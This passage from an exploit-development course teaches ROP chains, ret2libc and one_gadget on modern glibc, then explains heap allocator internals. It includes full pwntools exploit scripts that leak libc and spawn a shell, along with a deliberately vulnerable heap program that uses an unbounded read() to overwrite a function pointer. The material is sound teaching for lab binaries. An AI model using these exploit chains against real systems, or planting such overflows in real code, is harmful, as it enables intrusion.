pop rdx; retis rare in modern libc! You'll often findpop rdx; pop rbx; retor similar multi-pop variants. This breaks simpleexecve(path, NULL, NULL)chains. Use one_gadget instead of manually building execve calls.
Using GDB/pwndbg for Gadget Search:
# In pwndbg:
pwndbg> rop --grep "pop rdi" # Find pop rdi gadgets
pwndbg> rop --grep "pop rsi" # Find pop rsi gadgets
pwndbg> rop --grep "syscall" # Find syscall gadgets
# Or search for byte patterns
pwndbg> search -x "5fc3" # Search for pop rdi; ret bytes
Automated Gadget Finding (Use After Understanding Manual)
# ROPgadget (most popular)
ROPgadget --binary vuln2
# Find specific gadgets (AMD64)
ROPgadget --binary vuln2 --only "pop|ret"
ROPgadget --binary vuln2 | grep "pop rdi"
ROPgadget --binary vuln2 | grep "pop rsi"
# Filter gadgets with bad characters
ROPgadget --binary vuln2 --badbytes "00|0a|0d"
# Include libc gadgets (many more available!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
# CRITICAL for one_gadget: find pop rbp and pop rax in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rbp ; ret"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rax ; ret"
# Check if pop rdx exists (often missing or has extra pops!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdx ;" | head
# You'll likely see: "pop rdx ; pop rbx ; ret" (not clean pop rdx ; ret)
# ropper (alternative tool with better search)
ropper -f vuln2 --search "pop rdi"
ropper -f vuln2 --chain execve # May fail on modern libc!
# one_gadget (find "magic" shell gadgets in libc)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Returns addresses in libc that spawn shell with minimal setup
# WARNING: Constraints are strict in modern glibc!
# ALWAYS check constraints and fix RBP before calling!
Gadget Priority for Modern Libc Exploitation:
pop rdi; ret- for leak stage (from binary, not libc)ret- for stack alignment (from binary)pop rbp; ret- CRITICAL for one_gadget RBP fix (from libc)pop rax; ret- for one_gadget RAX=0 constraint (from libc)pop rbx; ret/pop r12; ret- for other one_gadget constraints (from libc)
One_Gadget Constraints
[!CAUTION] Modern glibc one_gadgets have strict constraints! Buffer overflows corrupt RBP with your padding bytes (
0x4141414141414141), but one_gadgets often requirerbp-0xXXto be a writable address. This causes SIGBUS/SIGSEGV crashes.
Common one_gadget constraints:
# Example output from: one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x50 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable ← RBP must be valid!
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
The Problem: After buffer overflow, RBP = 0x4141414141414141 (A's).
So rbp-0x50 = invalid address → SIGBUS when one_gadget tries to access it!
The Solution: Set RBP to a writable address before calling one_gadget:
# Find gadgets from libc
libc_rop = ROP(libc)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Use .bss section (always writable) for RBP
writable_addr = elf.bss() + 0x200
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (before one_gadget)
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # RBP = valid writable address
# Then satisfy other constraints (rax=0 for many one_gadgets)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL
stage2 += p64(one_gadget) # Now one_gadget works!
One_Gadget Troubleshooting:
| Symptom | Cause | Fix |
|---|---|---|
| SIGBUS at one_gadget | RBP points to invalid memory | Set RBP to .bss or stack before calling |
| SIGSEGV in one_gadget | Register constraints not met | Try different one_gadget, set rax/rbx/r12=0 |
| one_gadget exists but no shell | Wrong libc version | Verify libc, recalculate offsets |
| All one_gadgets fail | Constraints too strict | Fall back to ROP execve syscall |
Why system() Fails on Modern Libc:
Modern glibc (2.34+) enables Intel CET (Control-flow Enforcement Technology):
- SHSTK (Shadow Stack): Hardware-backed return address protection
- IBT (Indirect Branch Tracking): Validates indirect jumps
checksec shows: SHSTK: Enabled, IBT: Enabled
This makes traditional system("/bin/sh") ROP chains crash. Solutions:
- Use one_gadget with proper constraints (shown above)
- Syscall directly via
execvesyscall (bypasses libc CET checks) - Disable CET when compiling test binaries:
gcc -fcf-protection=none
Gadget Quality Checklist:
- Does the gadget contain bad characters (NULL, newline)?
- Does it have unwanted side effects (clobber registers you need)?
- Is the address in a predictable location (not ASLR'd)?
- Can you chain to the next gadget (ends in
ret)?
Using pwntools ROP Correctly
[!IMPORTANT] ROP Chain Timing: You must set
libc.addressBEFORE building the ROP chain! Don't createROP([elf, libc])until you've computed the libc base from a leak.
Correct ROP Workflow (Modern Libc with one_gadget):
#!/usr/bin/env python3
#~/exploit/11.py
"""
Correct ROP chain sequencing for modern libc (glibc 2.34+)
Key insights:
1. Leak → set libc.address → THEN build stage 2
2. Use one_gadget instead of system() (CET bypass)
3. Fix RBP before calling one_gadget (buffer overflow corrupts it)
"""
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
# One_gadget offsets - UPDATE for your libc!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
ONE_GADGETS = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]
OFFSET = 72 # buffer (64) + saved RBP (8)
# ======= STAGE 1: LEAK =======
# Build leak ROP using ONLY elf gadgets (libc base unknown!)
rop1 = ROP(elf) # Only elf, not libc!
pop_rdi = rop1.find_gadget(['pop rdi', 'ret'])[0]
ret = rop1.find_gadget(['ret'])[0]
# Leak puts@got
stage1 = flat(
b'A' * OFFSET,
p64(ret),
p64(pop_rdi),
p64(elf.got['puts']),
p64(elf.plt['puts']),
p64(elf.symbols['main']),
)
p = process('./vuln2', aslr=False, env={})
p.recvuntil(b'Enter input: ')
p.sendline(stage1)
# Parse leak (adjust for your binary's output format)
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
# ======= SET LIBC BASE (Critical!) =======
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# Verify alignment (should end in 000)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ======= STAGE 2: ONE_GADGET (works on modern libc!) =======
libc_rop = ROP(libc)
# Find gadgets to satisfy one_gadget constraints
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Writable address for RBP (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
# Try second one_gadget (0xef52b) - needs rax=NULL, rbp valid
one_gadget = libc.address + ONE_GADGETS[1]
p.recvuntil(b'Enter input: ')
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (critical for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable + 0x80) # rbp = valid writable addr
# Set rax = 0 (for one_gadget constraint)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
stage2 += p64(one_gadget) # Shell!
p.sendline(stage2)
log.success("Shell incoming!")
p.interactive()
Traditional Workflow (Older libc without CET):
# Only works on libc WITHOUT CET (SHSTK/IBT disabled)
# Check: checksec /lib/.../libc.so.6 → SHSTK: Disabled
# After setting libc.address...
rop2 = ROP([elf, libc])
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])
stage2 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment
rop2.chain(),
)
Common Mistakes:
# WRONG: Building ROP with libc before setting libc.address
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc]) # libc.address is 0 here!
rop.call('system', [...]) # Addresses will be wrong!
# WRONG: Using rop.call() for functions not in PLT
rop = ROP(elf)
rop.call('system', [...]) # ERROR: system not in elf.plt!
# WRONG: Expecting rop.call('execve', ...) to work on modern libc
libc_rop = ROP(libc)
libc_rop.call('execve', [binsh, 0, 0]) # May fail: "Could not satisfy setRegisters"
# Modern libc lacks clean pop rdx gadgets!
# WRONG: Calling one_gadget without fixing RBP first
stage2 = b'A' * OFFSET + p64(one_gadget) # SIGBUS! RBP = 0x4141414141414141
# WRONG: Using system() on modern libc with CET
stage2 = b'A' * OFFSET + p64(pop_rdi) + p64(binsh) + p64(system)
# Crashes due to SHSTK/IBT even with correct alignment!
# RIGHT: Manual gadget chain for stage 1 (before libc base known)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = p64(pop_rdi) + p64(arg) + p64(elf.plt['puts'])
# RIGHT: Use one_gadget for stage 2 on modern libc (with RBP fix!)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Alignment
stage2 += p64(pop_rbp[0])
stage2 += p64(elf.bss() + 0x280) # Fix RBP first!
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL for constraint
stage2 += p64(one_gadget) # Now it works!
Quick Checklist for Modern Libc ROP:
- Stage 1 uses only binary gadgets (not libc)
- Leak parsed correctly (check for extra newlines/bytes)
-
libc.addressset before building stage 2 - Libc base is page-aligned (ends in
000) -
retgadget for 16-byte stack alignment - RBP set to writable address (
.bss + offset) - RAX/RBX/R12 set to 0 if one_gadget requires it
- Correct one_gadget offset for your libc version
Debugging ROP Chains
ROP exploits often fail silently. Here's how to systematically debug them.
Step 1: Print the Chain (Verify BEFORE Sending)
#~/exploit/12.py
from pwn import *
elf = ELF('./vuln2')
context.binary = elf
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Print planned chain
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# Build and dump
chain = flat(
p64(ret),
p64(pop_rdi),
p64(0x404040), # Example address
p64(0x401234), # Example call target
)
print(f"Chain length: {len(chain)} bytes")
print(f"Chain hex: {chain.hex()}")
Step 2: Visualize Stack Layout (AMD64)
# Before sending, visualize what the stack will look like
#~/exploit/13.py
from pwn import *
offset = 72 # AMD64: typically 64 buffer + 8 saved RBP
payload = b"A" * offset
# Add ROP chain manually for visibility (AMD64)
payload += p64(0x40101a) # ret (alignment)
payload += p64(0x401234) # pop rdi; ret (gadget 1)
payload += p64(0x404040) # /bin/sh (value for rdi)
payload += p64(0x401456) # system (call target)
# Print hex for verification
print("Payload hex:")
print(payload.hex())
print(f"\nPayload length: {len(payload)} bytes")
print(f"Expected: {offset} + {len(payload)-offset} = {len(payload)}")
Step 3: Debug in GDB (AMD64)
# Method 1: Breakpoint at vulnerable function's ret
gdb ./vuln2
(gdb) disas vulnerable
# Find the ret instruction address
(gdb) break *vulnerable+<offset_to_ret>
(gdb) run $(python3 -c "...")
# At the breakpoint (right before ret executes):
(gdb) x/20gx $rsp # View stack (g = 8-byte, AMD64) - your ROP chain!
(gdb) stepi # Single step through each gadget
# Method 2: Use pwntools with manual GDB attach
from pwn import *
context.binary = ELF('./vuln2')
# aslr=False for learning, env={} for consistent stack
p = process('./vuln2', aslr=False, env={})
# Print PID and pause for GDB attach
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
payload = b"A" * 72 + p64(0x40101a) + p64(0x401234) + p64(0x404040) + p64(0x401456)
p.sendline(payload)
p.interactive()
In a second terminal, attach GDB:
gdb -p <PID>
(gdb) break *vulnerable+0x42 # Break at ret instruction
(gdb) continue
# Press Enter in first terminal to send payload
# Then in GDB:
(gdb) x/20gx $rsp # View ROP chain on stack
(gdb) si # Step through each gadget
Step 4: Trace Each Gadget (AMD64)
# In pwndbg, trace execution through your chain
pwndbg> break *0x401234 # First gadget (pop rdi; ret)
pwndbg> continue
# Now at first gadget
pwndbg> x/gx $rsp # Value that will be popped (8 bytes)
pwndbg> si # Execute pop rdi
pwndbg> info registers rdi # Verify rdi now has expected value
pwndbg> si # Execute ret (should go to next gadget)
pwndbg> x/i $rip # Verify we're at expected gadget
Common ROP Debugging Issues (AMD64):
| Symptom | Cause | Fix |
|---|---|---|
| Crash before first gadget | Wrong offset | Re-verify with cyclic pattern (8-byte!) |
| First gadget runs, then crash | Bad second address | Check stack alignment, verify addr |
| "Illegal instruction" | Jumped to data, not code | Verify gadget address is correct |
Crash in system() (movaps) | AMD64 stack alignment! | Add ret gadget before call |
system() crashes (CET) | Modern libc has SHSTK/IBT | Use one_gadget instead of system() |
| SIGBUS in one_gadget | RBP corrupted by overflow | Set RBP to .bss before one_gadget |
system() runs but no shell | /bin/sh addr wrong | Re-find string after setting libc.address |
| Works locally, fails remote | Different libc version | Use libc database, leak to confirm |
Stack Alignment Fix (AMD64):
#~/exploit/14.py
# Problem: system() crashes with SIGSEGV in movaps
# Solution: Add ret gadget for 16-byte alignment
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
rop = ROP(elf)
# These addresses come from leaking libc base (see ret2libc section)
# For local testing with ASLR disabled:
# Find the Base in GDB Run the binary with GDB and start it, but break immediately so the libraries load.
# gdb ./vuln2
# Inside GDB:
# start
# vmmap libc
# info proc mappings
# Read the Output You will see a list of memory ranges. Look for the first entry associated with libc.so.6.
#0x00007ffff7dc2000 0x00007ffff7f83000 r-xp /lib/x86_64-linux-gnu/libc.so.6
libc.address = 0x7ffff7c00000 # Example base - find yours with GDB or p.libs()
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# Find a simple 'ret' gadget for alignment
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# Add alignment before the call
payload = flat(
b'A' * 72,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh_addr),
p64(system_addr),
)
RELRO (Relocation Read-Only) Explained
RELRO affects GOT overwrite attacks:
| RELRO Level | GOT Writable? | PLT Behavior | Exploitation Impact |
|---|---|---|---|
| No RELRO | Yes (always) | Lazy binding | GOT overwrite works |
| Partial RELRO | Yes (GOT) | Lazy binding | GOT overwrite works |
| Full RELRO | No | Immediate binding | GOT is read-only! |
Checking RELRO:
# Using checksec
checksec --file=./vuln2
# Using readelf
readelf -l ./vuln2 | grep GNU_RELRO
readelf -d ./vuln2 | grep BIND_NOW
# BIND_NOW present = Full RELRO
Compiling for Different RELRO Levels:
# Partial RELRO (default) - GOT overwrite WORKS
make disabled SOURCE=vuln2.c BINARY=vuln_partial_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln_partial_relro
# No RELRO - GOT overwrite WORKS
make training-relro-off SOURCE=vuln2.c BINARY=vuln_no_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,norelro vuln2.c -o vuln_no_relro
# Full RELRO - GOT overwrite FAILS!
make training-full-relro SOURCE=vuln2.c BINARY=vuln_full_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,relro,-z,now vuln2.c -o vuln_full_relro
Full RELRO Bypass Options:
- Overwrite
__malloc_hookor__free_hook(removed in glibc 2.34+) - Overwrite return addresses (stack)
- Overwrite function pointers in .data/.bss
- Use FSOP (File Stream Oriented Programming)
Practical Exercise
Exercise: Libc Leak + ret2libc
-
Compile target with NX (AMD64):
make disabled SOURCE=vuln2.c BINARY=vuln2 #gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2 -
Find gadgets:
ROPgadget --binary ./vuln2 | grep "pop rdi" ROPgadget --binary ./vuln2 | grep ": ret$" -
Write leak exploit:
- Stage 1: ROP to
puts(puts@got), return tomain - Parse leaked puts address
- Compute
libc.address = leak - libc.symbols['puts']
- Stage 1: ROP to
-
Write final exploit:
- Stage 2:
pop rdi; ret+/bin/sh+system - Get shell
- Stage 2:
Task 2: Stack Alignment Practice
- Create exploit WITHOUT ret alignment gadget
- Observe crash in libc (movaps instruction)
- Add ret gadget and verify fix
Task 3: Gadget Hunting
-
Find gadgets manually:
objdump -d vuln2 | grep -B2 "ret" -
Find in libc:
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
Success Criteria:
- Libc leak working and parsed correctly
- Libc base calculated correctly (ends in 000)
- Stack alignment understood and applied
- Shell obtained via ret2libc
- Can explain each step of the exploit
- Write exploit:
- Build ret2libc payload
- Call system("/bin/sh")
- Get shell
Exercise: Function chaining
-
Chain system() and exit():
- Call
system("whoami") - Then call
exit(0) - Observe clean exit
- Call
-
Read flag file:
- Create
flag.txtwith secret - Chain to call
system("cat flag.txt") - Display contents
- Create
Exercise: Simple ROP (AMD64 syscall)
-
Find gadgets:
ROPgadget --binary vuln1_nx --only "pop|ret|syscall" > gadgets.txt -
Build ROP chain manually:
- Set RAX to 59 (execve on AMD64)
- Set RDI to address of "/bin/sh"
- Set RSI and RDX to 0
- Execute
syscallinstruction
-
Test ROP exploit:
- Should get shell without any shellcode
Success Criteria:
- ret2libc exploit works
- Function chaining successful
- ROP chain executes
- Shell obtained in all three tasks
Week 3 Integration Exercise: Patch Diff -> Find Bug -> Exploit Old Build
Reuse the Week 3 patch-diffing workflow on a controlled Day 2-style target.
Goal: build a vulnerable and a patched version of the same program, diff them, then exploit only the vulnerable build.
-
Make two versions of the source:
vuln2_vuln.c: contains the bug (e.g., unbounded read / missing length check)vuln2_patched.c: fix the bug (e.g., bounded read or explicit length validation)
-
Compile both with identical flags:
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_vuln.c -o vuln2_vuln gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_patched.c -o vuln2_patched -
Patch diff:
ghidriff ./vuln2_vuln ./vuln2_patched -o vuln2_diff -
Validation:
- Your Day 2 exploit should work on
vuln2_vuln. - It should fail (or at least not gain control) on
vuln2_patched.
- Your Day 2 exploit should work on
Success Criteria:
- You can point to the exact function/basic-block changed by the patch
- You can explain why the patch removes the exploit primitive
Key Takeaways
- NX prevents shellcode execution: Need alternative techniques
- ret2libc reuses existing code: Call libc functions
- ROP chains gadgets: Build complex operations
- Stack layout is critical: Function arguments must be correct
- pwntools simplifies ROP: Automates gadget finding and chaining
- Modern libc has CET:
system()ROP may fail, use one_gadget instead - one_gadget needs RBP fix: Buffer overflows corrupt RBP, set it to .bss first
pop rdxis rare: Modern libc lacks clean gadgets, use one_gadget
Discussion Questions
- Why is ret2libc effective even with NX enabled?
- What are the limitations of ret2libc vs ROP?
- How would ASLR complicate ret2libc exploitation?
- What types of gadgets are most useful for ROP chains?
Day 3: Heap Exploitation Fundamentals
- Goal: Understand heap memory management and exploit heap overflows.
- Activities:
- Reading:
- Online Resources:
- Tool Setup:
- how2heap repository
- Heap visualization tools
- Exercise:
- Exploit heap overflow to corrupt metadata
- Achieve arbitrary write primitive
Context: libWebP Heap Overflow (CVE-2023-4863)
- In Week 1, we discussed the libWebP Heap Buffer Overflow that affected billions of devices.
- That vulnerability involved writing past the end of a heap buffer, corrupting adjacent metadata.
- Today, we'll learn how to intentionally trigger and exploit such conditions to gain code execution.
Deliverables
- Binary:
vuln_heapbuilt and verified withchecksec - Primitive proof: function pointer overwrite demonstrated (redirect to
admin_function) - Exploit:
exploit_heap_fp.py(or equivalent) spawns a shell reliably - Notes: heap layout diagram + exact overwrite length and why
read()enables null bytes in payloads
Heap vs Stack
Differences:
| Feature | Stack | Heap |
|---|---|---|
| Allocation | Automatic (local variables) | Manual (malloc/new) |
| Lifetime | Function scope | Explicit free |
| Size | Fixed per thread (~8MB) | Dynamic, grows as needed |
| Speed | Very fast | Slower (allocator overhead) |
| Layout | LIFO (Last In First Out) | Complex (bins, chunks) |
| Overflow Impact | Overwrites return address | Overwrites metadata |
Heap Allocator Basics (glibc malloc)
This section provides a detailed walkthrough of how glibc's malloc works. Understanding these internals is essential for heap exploitation—don't skip it.
[!WARNING] Which glibc version? Run
ldd --version. This course uses glibc 2.31-2.35 examples. Many classic techniques (unlink, fastbin dup) are mitigated in 2.35+. Check how2heap for version-specific techniques.
Chunk Structure Deep Dive
Chunk Structure:
struct malloc_chunk {
size_t prev_size; /* Size of previous chunk (if free) */
size_t size; /* Size of this chunk (includes metadata) */
/* Only for free chunks: */
struct malloc_chunk *fd; /* Forward pointer */
struct malloc_chunk *bk; /* Backward pointer */
/* For large free chunks only (>512 bytes): */
struct malloc_chunk *fd_nextsize;
struct malloc_chunk *bk_nextsize;
/* User data starts here */
};
Size Field Flags (critical for exploitation):
/* Low 3 bits of size field contain flags */
#define PREV_INUSE 0x1 /* Previous chunk is allocated */
#define IS_MMAPPED 0x2 /* Chunk was mmap'd (not from heap) */
#define NON_MAIN_ARENA 0x4 /* Chunk belongs to non-main arena */
/* Real size = size & ~0x7 */
Visual Representation:
Allocated chunk:
┌────────────────┐ ← chunk address
│ prev_size │ (only valid if PREV_INUSE=0)
├────────────────┤
│ size | PMA │ (size + 3 flag bits)
malloc() returns ├────────────────┤ ← user pointer (chunk + 0x10)
here →│ │
│ User Data │
│ │
└────────────────┘
Free chunk (in bins):
┌────────────────┐
│ prev_size │ (size of prev chunk for coalescing)
├────────────────┤
│ size | P A │ (PREV_INUSE usually 0 after free)
├────────────────┤
│ fd (forward) │ ← Points to next chunk in bin
├────────────────┤
│ bk (backward)│ ← Points to prev chunk in bin
├────────────────┤
│ (old user data)│ ← May still contain sensitive data!
└────────────────┘
Understanding malloc() Step by Step
What happens when you call malloc(24)?
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Size Calculation │
│ ─────────────────────────────────────────────────────────────── │
│ Request: 24 bytes │
│ + 16 bytes metadata (prev_size + size on 64-bit) │
│ + Alignment to 16 bytes │
│ = Actual chunk size: 48 bytes (0x30) │
│ │
│ Minimum chunk = 32 bytes (0x20) on 64-bit │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Check Tcache (glibc 2.26+) │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] → Is there a cached chunk? │
│ │
│ If YES: Pop from tcache (LIFO), return immediately │
│ If NO: Continue to fastbins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Check Fastbins (if size ≤ 0x80 / ~160 bytes) │
│ ─────────────────────────────────────────────────────────────── │
│ fastbins[size_idx] → Is there a free chunk? │
│ │
│ If YES: Pop from fastbin (LIFO), return │
│ If NO: Check small/unsorted/large bins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Check Bins (Unsorted → Small → Large) │
│ ─────────────────────────────────────────────────────────────── │
│ Search for best-fit chunk in bins │
│ May split larger chunks if needed │
│ │
│ If found: Return chunk │
│ If not: Extend heap with sbrk()/mmap() │
└─────────────────────────────────────────────────────────────────┘
Understanding free() Step by Step
What happens when you call free(ptr)?
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Validate Pointer │
│ ─────────────────────────────────────────────────────────────── │
│ - Is ptr aligned? │
│ - Is size reasonable? │
│ - Check for double-free (tcache key in 2.29+) │
│ │
│ If validation fails: abort() or SIGABRT │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Try Tcache First (glibc 2.26+) │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] count < 7? │
│ │
│ If YES: Push to tcache (LIFO), done │
│ If NO: Continue to fastbin/regular bins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Fastbin or Consolidation │
│ ─────────────────────────────────────────────────────────────── │
│ Small chunk (≤0x80)? → Push to fastbin (no coalescing) │
│ Larger chunk? → Try to coalesce with neighbors │
│ → Put in unsorted bin │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Coalescing (Consolidation) │
│ ─────────────────────────────────────────────────────────────── │
│ Check PREV_INUSE flag: │
│ If 0: Previous chunk is free → merge backward │
│ │
│ Check next chunk's PREV_INUSE flag: │
│ If 0: Next chunk is free → merge forward │
│ │
│ Update size field of merged chunk │
│ This is where unlink() gets called! (exploit target) │
└─────────────────────────────────────────────────────────────────┘
Bin Organization (Visual)
HEAP BINS OVERVIEW
┌─────────────────────────────────────────────────────────────────┐
│ │
│ TCACHE (glibc 2.26+) - Per-thread, fastest │
│ ═══════════════════════════════════════ │
│ tcache_bins[0] → 0x20 → 0x20 → 0x20 → NULL (max 7 per bin) │
│ tcache_bins[1] → 0x30 → 0x30 → NULL │
│ tcache_bins[2] → NULL │
│ ... → (64 bins total, sizes 0x20-0x410) │
│ │
│ FASTBINS - Small chunks, no coalescing │
│ ════════════════════════════════════════ │
│ fastbins[0] → 0x20 → 0x20 → NULL (singly linked, LIFO) │
│ fastbins[1] → 0x30 → NULL │
│ ... → (up to 0x80 bytes) │
│ │
│ UNSORTED BIN - Recently freed, temp storage │
│ ═══════════════════════════════════════════ │
│ unsorted_bin ⟷ chunk ⟷ chunk ⟷ (circular doubly-linked) │
│ │
│ SMALL BINS - Exact size match (62 bins) │
│ ═══════════════════════════════════════ │
│ small_bins[2] ⟷ 0x20 ⟷ 0x20 ⟷ (doubly linked, FIFO) │
│ small_bins[3] ⟷ 0x30 ⟷ (doubly linked) │
│ ... → (sizes 0x20 - 0x3F0) │
│ │
│ LARGE BINS - Size ranges, sorted (63 bins) │
│ ═══════════════════════════════════════ │
│ large_bins[0] ⟷ 0x400 ⟷ 0x420 ⟷ (sorted by size) │
│ ... → (sizes 0x400+) │
│ │
└─────────────────────────────────────────────────────────────────┘
Debugging Heap with pwndbg/GEF
Essential Commands (Use these constantly!):
# In pwndbg:
pwndbg> heap # Overview of heap state
pwndbg> bins # Show all bins (tcache, fast, unsorted, etc.)
pwndbg> vis_heap_chunks # Visual heap layout (VERY useful!)
pwndbg> malloc_chunk <addr> # Inspect specific chunk
# In GEF:
gef> heap chunks # List all chunks
gef> heap bins # Show bin state
gef> heap arenas # Show arena info
# Watchpoints for debugging
pwndbg> watch *(size_t*)<chunk_addr> # Break when chunk modified
Example Debugging Session:
cd ~/exploit
# Create test program
cat > heap_debug.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
int main() {
char *a = malloc(0x20);
char *b = malloc(0x20);
char *c = malloc(0x20);
printf("a=%p b=%p c=%p\n", a, b, c);
free(a);
free(b);
free(c);
char *d = malloc(0x20); // What happens here?
printf("d=%p\n", d);
return 0;
}
EOF
gcc -g -fcf-protection=none heap_debug.c -o heap_debug
# Debug
gdb ./heap_debug
pwndbg> break 9
pwndbg> break 15
pwndbg> break 17
pwndbg> run
# At breakpoint 1 (after malloc calls):
pwndbg> heap # Show heap info
pwndbg> vis # Visualize heap chunks (or 'heap chunks')
# Continue to breakpoint 2 (after free calls):
pwndbg> c
pwndbg> bins # Show tcache/fastbins
# tcache shows: 0x30 [3]: 0x... → 0x... → 0x...
# Continue to breakpoint 3 (after final malloc):
pwndbg> c
# d gets the LAST freed chunk (LIFO from tcache)
Key Insight for Exploitation:
┌─────────────────────────────────────────────────────────────────┐
│ LIFO Behavior = Predictable Allocation Order │
│ ─────────────────────────────────────────────────────────────── │
│ │
│ If you can: │
│ 1. Free a chunk │
│ 2. Corrupt the freed chunk's fd pointer │
│ 3. malloc() twice │
│ │
│ Then: │
│ - First malloc returns the freed chunk │
│ - Second malloc returns YOUR CONTROLLED ADDRESS! │
│ │
│ This is the basis for: tcache poisoning, fastbin dup │
└─────────────────────────────────────────────────────────────────┘
Heap Overflow Vulnerability
Vulnerable Program (vuln_heap.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32];
void (*print_func)(char *);
} User;
void print_user(char *name) {
printf("User: %s\n", name);
}
void admin_function(char *name) {
printf("Admin access granted to %s\n", name);
// Note: system() works here because we're calling it directly via
// function pointer, not via ROP. CET only blocks ROP-style calls.
system("/bin/sh");
}
int main(int argc, char **argv) {
// Allocate two structs
User *user1 = malloc(sizeof(User));
User *user2 = malloc(sizeof(User));
// Initialize
user1->print_func = print_user;
user2->print_func = print_user;
// Vulnerable: read() allows null bytes and has no bounds check!
printf("Enter name: ");
fflush(stdout);
read(0, user1->name, 128); // Buffer is only 32 bytes!
// Call function pointers
user1->print_func(user1->name);
user2->print_func(user2->name);
free(user1);
free(user2);
return 0;
}
Compile (AMD64):
make disabled SOURCE=vuln_heap.c BINARY=vuln_heap
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_heap.c -o vuln_heap
Vulnerability Analysis:
Heap layout after allocations (AMD64):
┌─────────────────────────┐
│ Chunk metadata (user1) │ (16 bytes on AMD64)
├─────────────────────────┤
│ user1->name[32] │ ← strcpy writes here
├─────────────────────────┤
│ user1->print_func (8B) │ ← Can be overwritten!
├─────────────────────────┤
│ Chunk metadata (user2) │
├─────────────────────────┤
│ user2->name[32] │
├─────────────────────────┤
│ user2->print_func (8B) │
└─────────────────────────┘
Overflow scenario:
- read() into user1->name with 40+ bytes
- Overwrites user1->print_func
- Can redirect execution!
- Note: read() allows null bytes (unlike strcpy)!
Exploiting Function Pointer Overwrite
Exploit Strategy:
- Overflow
user1->name(32 bytes) - Overwrite
user1->print_funcwith address ofadmin_function - When
user1->print_func()is called, get shell
Find admin_function address:
